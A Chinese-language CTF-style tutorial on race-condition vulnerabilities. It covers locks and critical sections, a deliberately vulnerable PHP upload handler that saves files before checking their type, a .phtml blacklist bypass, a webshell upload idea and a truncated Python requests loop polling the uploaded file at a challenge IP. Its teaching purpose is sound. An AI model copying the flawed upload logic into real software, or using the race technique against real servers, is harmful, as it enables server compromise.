一. 漏洞成因:
线程编程中,为了保证数据操作的一致性,操作系统引入了锁机制,用于保证临界区代码的安全。通过锁机制,能够保证在多核多线程环境中,在某一个时间点上,只能有一个线程进入临界区代码,从而保证临界区中操作数据的一致性。
临界区指的是一个访问共用资源(例如:共用设备或是共用存储器)的程序片段,而这些共用资源又无法同时被多个线程访问的特性。
竞争条件”发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。
二.条件竞争实例:
三.Web中的条件竞争
Web服务器处理多用户请求时,是并发进行的,如果并发处理不当或者是相关的逻辑操作设计的不合理时,就可能导致条件竞争漏洞。
一个简单的例子:
将文件上传到服务器,然后检查上传的文件的类型,如果不符合条件就删除。
但是,如果我们采用多线程的方式访问上传的文件,总有一次我们在文件删除之前就访问到了这个文件,如果这个文件是php的一句话木马,就在服务器中执行了shell了哈
具体代码和利用脚本如下:
前端代码:
<html>
<head>
<metahttp-equiv="Content-Type" content="text/html;charset=utf-8">
<tile>条件竞争漏洞实例</tile>
</head>
<h3align="center">文件上传</h3>
<formmethod="post" action="upload.php"enctype="multipart/form-data">
<table border=0 cellspacing=0cellpadding=0 align="center" width="100%">
<tr>
<td height="17">
<input name="file"type="file" value="浏览">
<input type="submit"name="file" value="上传">
</td>
</tr>
</table>
</form>
</html>
后端php代码:
<?php
$allowtype =array("gif","png","jpg");
$size = 10000000;
$path = "./";
$filename = $_FILES['file']['name'];
if(is_uploaded_file($_FILES['file']['tmp_name'])){
if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
die("error:can notmove!");
}
} else {
die("error:not an upload file!");
}
$newfile = $path.$filename;
echo "file upload success.file pathis: ".$newfile."\n<br />";
if ($_FILES['file']['error'] > 0){
unlink($newfile);
die("Upload file error: ");
}
$ext =array_pop(explode(".",$_FILES['file']['name']));//array_pop() 弹出并返回 array 数组的最后一个单元,并将数组 array 的长度减一,explode()函数把字符串打散为数组。
if (!in_array($ext,$allowtype)){
unlink($newfile);
die("error:upload the file type isnot allowed,delete the file!");
}
?>
题目地址:
http://202.119.201.199/challenge/web/uploadfile/
先随便上传个图片文件,发现能够上传成功,显示要上传可执行文件
发现第三层防护,存在黑名单文件类型过滤,尝试绕过哈
发现使用.phtml能够绕过。
发现上传的文件被杀软查杀了,是上传成功才被查杀的,考虑利用条件竞争漏洞
利用python的requests库写一个多线程并发访问的脚本
import requests
url ="http://202.119.201.199/challenge/web/uploadfile/upload/2.phtml"
while True:
r =requests.get(url)
if 'flag' inr.text: